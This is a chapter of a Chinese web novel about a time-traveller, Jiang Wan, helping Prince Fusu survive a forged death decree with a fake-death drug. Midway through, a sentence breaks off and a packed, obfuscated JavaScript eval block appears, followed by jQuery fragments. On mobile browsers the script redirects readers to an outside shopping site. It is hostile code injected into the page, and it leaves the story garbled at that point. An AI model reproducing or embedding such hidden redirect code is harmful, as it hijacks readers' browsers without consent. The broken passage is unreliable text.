按照蒙恬得到的消息,秦始皇第五次东巡,至少要途经湖南、湖北、安徽、山东,没有个一年半载是回不来的。
扶苏和姜晚暂时将咸阳的一切抛在脑后,姜晚缠着扶苏,让他讲了许多未记载于史书的秦始皇的故事,扶苏缠着姜晚,让她介绍21世纪的光景。
扶苏每讲一些故事,姜晚就感慨始皇帝的一生波澜壮阔、跌宕起伏、却潦草收尾。姜晚每介绍一些家乡的事情,扶苏就更加向往现代生活,尤其对坐飞机和看电影两件事形成了执念一样的憧憬。
这天傍晚,扶苏正按照姜晚描述的那样,试图用木头做出一个直升机模型。
姜晚正端着粥穿过营地的炊烟,想给扶苏送去,拐过堆放草料的棚屋时,看到石生蹲在棚屋背阴的一侧,手里握着一件东西,正对着暮光眯眼细看。
姜晚走近几步,看清了那东西的形状——是一根细铜管,管口嵌着几根针。
石生把铜管转了半圈,用手指轻压了一下管壁,像在确认什么部件是否灵活,然后用一块旧布包好,塞进怀里。他站起来,这才看到她。
“你在做什么?”姜晚问。
石生垂下眼睛:“一种暗器。”
“用途是?”
石生抬起头,看着姜晚:“我之前说过,历史必须按照既定的轨道进行,如果扶苏假死计划出任何差池……我都会杀了他。”
石生的话像一记重锤,瞬间击碎了几个月以来的欢愉,姜晚沉默了一会儿,说:“扶苏不能死,这是我不干扰历史的前提,如果他真的出了什么事,我不会留在这里,我会离开,先杀赵高,后杀胡亥。石生,我是从两千年后来的,来自一个你想都想象不出的时代。你见过的穿越者里,没有一个是我这样的人,我能干扰历史的办法,比你想象中多得多,而且,我之前说过,既然我回不到自己的时代,那我也不怕堕入循环。”
石生的目光闪烁了一下。
姜晚慢慢走近他,说道:“我什么都知道,你的假死药很好,用不着杀害扶苏,否则的话,我就杀一两个重要人物,再将你送回上古时代,陪嬴政的祖先抗洪去。”
石生深深的呼气、吸气,姜晚能听出他在颤抖,石生看着她,问道:“你是不是已经把假死药给扶苏了?”
姜晚:“是的,假死计划,我不想瞒着他,关于你我的身份和穿越的事情,他还不知道。”
石生转过身,在怀里摸索了片刻,掏出一个盒子,递给她:“这是所有的假死药,你保管好,药材很稀有的,这些要是没了,可就得等到后年的这时候了。扶苏的假死计划,你自己上点心吧。”
姜晚接过布袋,攥进掌心里,石生转身走回了棚屋的阴影里。
和石生短暂的对话,引起了姜晚内心深处对于可知未来的一丝不安,而扶苏很细腻,敏锐地察觉到这一点。
扶苏站在营帐外,看着草原尽头逐渐暗下去的天色,姜晚走到他身边,两个人并排站了一会儿。
扶苏忽然开口:“你这几天,都戴着同一只发钗,没有换过。”
姜晚:“是吗?”
扶苏:“你有心事啊,是不是石生说什么了?”
姜晚:“他没说什么,他是来帮我们的。”
扶苏:“他和你是同乡?”
姜晚摇摇头:“不是,但他和我一样,也是一个回不去的人。”
扶苏看着远处的斜阳,说道:“我想,趁父皇东巡期间,和你一起走,不再回来,”他说完停了一下,确认自己说完了想说的话,然后才继续,“但有一件事,我一直想问你……如果有一天你找到了回家的路,你会怎么做?”
姜晚偏过头看着他,扶苏的侧脸在暮色里有些模糊,神情带着一些忐忑不安,她说:“你愿意为了我放下过去,放下咸阳的富贵生活,放弃皇子身份,放弃……放弃你的父亲,那我会永远跟你在一起,如果不能带着你回家乡……那么我会留下来。”
扶苏神色放松下来,脸上浮现出浅浅的笑意。
姜晚感到很难过,从石生掌握的几千年的信息来看,穿越是一件回不了头的事,她再也回不去了,而扶苏即将也要永远回不去了。
又过了两个月,营地里的气氛忽然变了。
先是远处有传令兵疾驰而来,直接进了蒙恬的营帐,门帘迅速放下,遮住了里面的烛光。
随后,从咸阳方向来了一队人马,人数大约两百,旗帜在风中猎猎作响。
为首的那辆马车停下之后,车门打开,吕丹穿着灰袍,神色肃穆地走下来。
吕丹站在营门口,面朝扶苏的营帐方向,身后两百将士已经按队列展开,将营帐周围缓缓围住。
扶苏和姜晚从营帐里出来,看到吕丹时,扶苏没有感到意外。
姜晚意识到,始皇帝驾崩,赵高伪造的旨意来了。
这是扶苏人生的转折点,假死计划能不能成,就在今天了。
姜晚的胸膛剧烈地起伏起来,扶苏轻轻握住她颤抖的手。
扶苏站在原地,扫了那圈将士一眼,对身后的蒙恬说:“让他们退后二十步。”
蒙恬上前,对带队的将军说了几句话,将军挥挥手,将士们齐齐地后退,但仍旧严密地包围着扶苏的营帐。
吕丹等扶苏的视线重新落回自己身上,开口说:“公子,圣旨在此。”
扶苏和姜晚默默跪下。
吕丹从袖中取出一卷帛书,展开后,迎着风读,大意是:扶苏与蒙恬率军驻守上郡,未见功绩,反生怨望,赐公子扶苏死。
扶苏听完了,沉默了半炷香的时间,然后平静地说:“儿臣接旨。”
他转身走回营帐,姜晚紧跟在后,营帐的帘子在他身后垂下。
扶苏站在那里,低着头,姜晚连忙走到他面前,捧起他的脸,看着扶苏的眼睛。
“父皇真的不要我了。”扶苏笑着,眼泪却决堤似的涌出。
姜晚慌了,她知道圣旨是假的,秦始皇并没有真的要赐死扶苏。但是,如果现在告诉扶苏,旨意是赵高伪造的,而且赵高正在用臭鱼烂虾掩盖始皇帝的死亡真相,不知道扶苏和蒙恬会做出什么改变历史进程的事情来。
扶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17807202|210748||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
苏连哭带笑,蒙恬站在营帐外,也能听到那撕心裂肺如同嘶吼般的声音。
姜晚扶着扶苏坐在榻上,说:“陛下几个月以来,身体状况都不好,赵高他们随侍左右,咱们现在无法确定这旨意是陛下清醒时还是昏迷时做出的,你并非一定要遵旨自戕,还记得我给你的假死药吗?”
扶苏满脸泪痕,勉强从崩溃中支撑起来,看着姜晚。
姜晚坚定地对他点点头。
扶苏冷静下来,把布袋拿出。
姜晚看看四周,低声说:“你先拿好,我出去一趟,等我回来,你再将药服下。”
扶苏看着姜晚出去了,手里紧紧握着那把短剑。
一会儿,姜晚端着一个陶碗进来;“这是石生调配的鸩酒,是真正的毒药,我和蒙恬将军已求过吕丹,留你全尸,现在,假死药,可以吃了。”
姜晚把鸩酒全部倒在恭桶里,拿来水囊,扶苏就着水将假死药服下,慢慢躺在姜晚怀里。
扶苏感觉很困,合上眼之前,他对着姜晚笑笑,说:“如果再也醒不过来,能在你怀里离开,也挺好的。”
姜晚点点头,眼泪滴下来。
扶苏的身体逐渐变软,先是肩膀松下来,手臂垂落,他的头靠向她,整个人的重量缓慢地落进了她的臂弯里。她坐在地上,把他搂在怀里,他的呼吸停止了。
姜晚的胸口像压着一块巨石,在这之前,她一直以为,假死计划只需扶苏配合,等他醒来,就能迎接他全新的人生。
直到这时,姜晚才意识到,石生出现之前,假死药几乎是和长生药一样虚无缥缈的存在,而扶苏相信了她,哪怕就此长眠。
蒙恬站在帐外正焦急万分,里面传来了姜晚悲痛欲绝的哭声。
蒙恬呆呆地看着营帐,脸颊瞬间湿了,他重重跪地,声音穿透了那片草原:“蒙恬送扶苏公子!”
“蒙家军送扶苏公子!”除了吕丹带来的两百将士,驻守在这里的官兵们,全都朝着扶苏营帐的方向跪地,喊出这句话。
声音震耳欲聋,吓得吕丹他们的马匹躁动不安。
吕丹看看蒙恬,又看看跪了一地的官兵,没有说话。
半个时辰后,姜晚失魂落魄地出来,吕丹凑上去,低声说:“姑娘,云姑娘,节哀啊,”他又靠近了半步,声音更低了,只有姜晚能听到,“但不可悲伤太久,陛下已经驾崩,水银入皇陵的事……要尽快安排人办了。”
姜晚看看吕丹,吕丹退后,挥挥手,他还带来了两个御医,御医进营帐验过尸,出来后,对吕丹说:“扶苏公子已饮鸩自尽,大人,咱们回咸阳,还是往东出发,迎赵大人和陛下回来?”
吕丹眯眯眼,说:“回咸阳,我们还要为胡亥公子做些事情,”说罢,又向蒙恬行礼,“大将军,下官也心痛万分,只是陛下心意已决,赵大人和李丞相无论怎么劝,陛下也不收回成命啊,”蒙恬定定地看着扶苏的营帐,沉默着,吕丹又说,“将军,咸阳还有很多要事处理,扶苏公子的后事……呃……就有劳将军了。”
说着,吕丹带着人上马离开了。